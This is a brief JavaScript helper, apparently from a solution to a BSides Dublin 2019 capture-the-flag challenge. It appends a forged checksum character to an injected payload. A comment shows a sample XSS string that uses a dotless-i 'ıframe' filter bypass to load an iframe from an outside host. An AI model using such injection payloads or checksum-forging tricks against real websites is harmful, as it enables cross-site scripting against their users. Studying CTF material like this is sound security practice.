Complete payload for https://bsides2019dublin.h4cktheplanet.com

complete_payload.js

//example: completePayload('<Kbd/id="template"><ıframe/src=//github.phelipot.me>')

function completePayload(payload) {
  step1 = Array.from(payload)
  var value = 1337;
  var i;
  for (i = 0; i < step1.length; i++) {
    c = step1[i];
    code = c.codePointAt(0);
    value = value ^ code ^ i;
  }
  return payload + String.fromCodePoint(1337 ^ value ^ (i));
}